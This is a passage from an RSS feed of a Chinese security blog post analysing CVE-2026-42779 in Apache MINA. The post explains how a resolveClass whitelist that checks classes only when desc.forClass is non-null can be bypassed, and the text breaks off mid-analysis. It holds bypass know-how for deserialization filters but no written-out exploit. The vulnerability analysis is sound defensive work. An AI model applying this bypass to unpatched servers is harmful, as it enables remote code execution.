<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>自在安全</title>
    <link>https://wechat2rss.xlab.app/feed/88ffe63b5cffb34f8096461bdeaea02049987c70.xml</link>
    <description>网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (自在安全)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM76GAGjbBPPjjZ15v7ibgrnZQPF7uIVO4rSn9ztpcR9hicQ/0</url>
      <title>自在安全</title>
      <link>https://wechat2rss.xlab.app/feed/88ffe63b5cffb34f8096461bdeaea02049987c70.xml</link>
    </image>
    <item>
      <title>从 CVE-2026-42779 说起：为什么你写的 resolveClass 防不住反序列化漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492884&amp;idx=1&amp;sn=a2a05e97b8cf39003483cec3a567cf59</link>
      <description>欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。</description>
      <content:encoded><![CDATA[<p>原创 <span>KCyber</span> <span>2026-05-06 07:01</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=44d51285&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F5micBBibMraLmUOsQ0DXFSiacibKXeUIpuic5xl75MCnlxaUrKU1hsPVkHwGQ2bvsrhIq7HWibf0uSOxL5OFSv6AYKnvibkchtvvCgwiae7OBog8Gok%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1.5px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/5micBBibMraLkT81XiaibPXfHiaE99I7R6e3IC1mFYlhNTMp21e3upTibMRuibyYfUgpDnsa5pibWicl4YS9JK5o8u0AdGXyKLZBIDkibzxfabibcPt9mQ/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="578" data-cropsely2="679" data-imgfileid="100009235" data-ratio="1.0903790087463556" data-s="300,640" data-type="jpeg" data-w="1029" style="pointer-events: initial; height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4ff007a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5micBBibMraLl2sPiaGlh3O5hkhUb92JebD8XoDtzia90BVJlQzgfdjiaQljXl6CMzPwT6Q7q78NDLkLSUlFbmIfPJOTdnDRcibKxgAsR9q4oc9tw%2F640%3Fwx_fmt%3Djpeg"/></p><div><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);width: 1536px;max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);width: 1536px;max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;heading&#34;,{&#34;tagName&#34;:&#34;h2&#34;,&#34;attributes&#34;:{&#34;data-heading&#34;:&#34;true&#34;,&#34;style&#34;:&#34;box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;,&#34;level&#34;:2}]">引言</span></h2></p></div><div style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);width: 1536px;max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin-top: 0px !important;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">自 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">2015</span></code><span leaf="">年</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Java</span></code><span leaf="">原生反序列化漏洞被公开以来，十多年间各类防御方案层出不穷。无论是</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">JDK</span></code><span leaf="">层面的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">JEP290</span></code><span leaf="">机制，还是通过重写</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ObjectInputStream</span></code><span leaf="">的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">resolveClass</span></code><span leaf="">实现黑白名单过滤，在理论上都能有效阻断恶意</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">gadget</span></code><span leaf="">。但是防御的有效性高度依赖于代码的具体实现。除了挖掘新的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">gadget</span></code><span leaf="">绕过黑白名单限制外，过滤逻辑本身的缺陷也会成为被利用的突破口。本文从近期披露的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2026-42779</span></code><span leaf="">说起，结合近年来多个真实</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE</span></code><span leaf=""> 漏洞案例，剖析反序列化防御在代码层面常见的几个典型误区。</span></p><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">CVE-2026-42779：误用 forClass 导致的逻辑绕过</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近期 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Apache MINA</span></code><span leaf=""> 披露的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2026-42779</span></code><span leaf=""> 就是一个典型案例。在此前的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2024-52046</span></code><span leaf=""> 反序列化漏洞修复中，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Apache MINA</span></code><span leaf=""> 在触发点 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AbstractIoBuffer.getObject</span></code><span leaf=""> 的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">resolveClass</span></code><span leaf=""> 环节引入了白名单检测：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009220" data-ratio="1.2407407407407407" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=78a730c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLn4y1WlRZBbW7tFXIkMaqEmThG5H1snicZiaTZ7Dlr74p5UiccK34Dv3TLlUoxIK7xFPgLqicRZF6reDEmicTJlMemeLM3CjA0Epfok%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">初看之下该修复方案似乎无懈可击，直接丢给 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 来看也没找出什么问题。但深入分析发现，与常见直接通过 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">desc.getName</span></code><span leaf=""> 提取类名进行检查有所不同，它首先会使用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">desc.forClass</span></code><span leaf=""> 来提取 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">clazz</span></code><span leaf=""> ，并仅在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">clazz</span></code><span leaf=""> 非空时才会执行白名单检查。</span></p><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">查看 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ObjectStreamClass.forClass</span></code><span leaf=""> 源码可知，返回值是否为 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">null</span></code><span leaf=""> 完全取决于私有字段 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cl</span></code><span leaf=""> 的赋值状态：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009219" data-ratio="0.38981481481481484" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=529217aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLkbqgq6nfXEIgiaibWYUIqQhRu1JUT34vdVjDZicoWb7nuznJ6ZicfaSg1t2YBC7OrhYAb2U2U1QEs9iawZa1ysictEaYWiaBd4YkTXFY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">追踪 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ObjectStreamClass</span></code><span leaf=""> 的构造链路发现， </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cl</span></code><span leaf=""> 可以通过私有构造函数赋值：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009217" data-ratio="0.4530493707647628" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-type="png" data-w="1033" src="https://wechat2rss.xlab.app/img-proxy/?k=7fe20ecc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLleRKGNneQFfibmFmiblB11Zm0Eo3hlTw9a8FUI6icziczhGAQdQ8BohibEmKPeCatgksRBI5asu1747CiadeTbuRRhPyJkNu7Y5srD8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">该私有构造函数在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">lookup</span></code><span leaf=""> 中被调用，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cl</span></code><span leaf=""> 直接被赋值为传入的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Class</span></code><span leaf=""> 对象：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009216" data-ratio="0.548728813559322" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-type="png" data-w="944" src="https://wechat2rss.xlab.app/img-proxy/?k=d501a251&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLlAIFibwPOp0GDYHibic7f7DduJIibrkGFlDjhicicXdE7KmdicmZyOqQFec9CheCkHqa5vSmoZqPfoPcDhexEiaicgAm2ZhibDhCzicssBJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 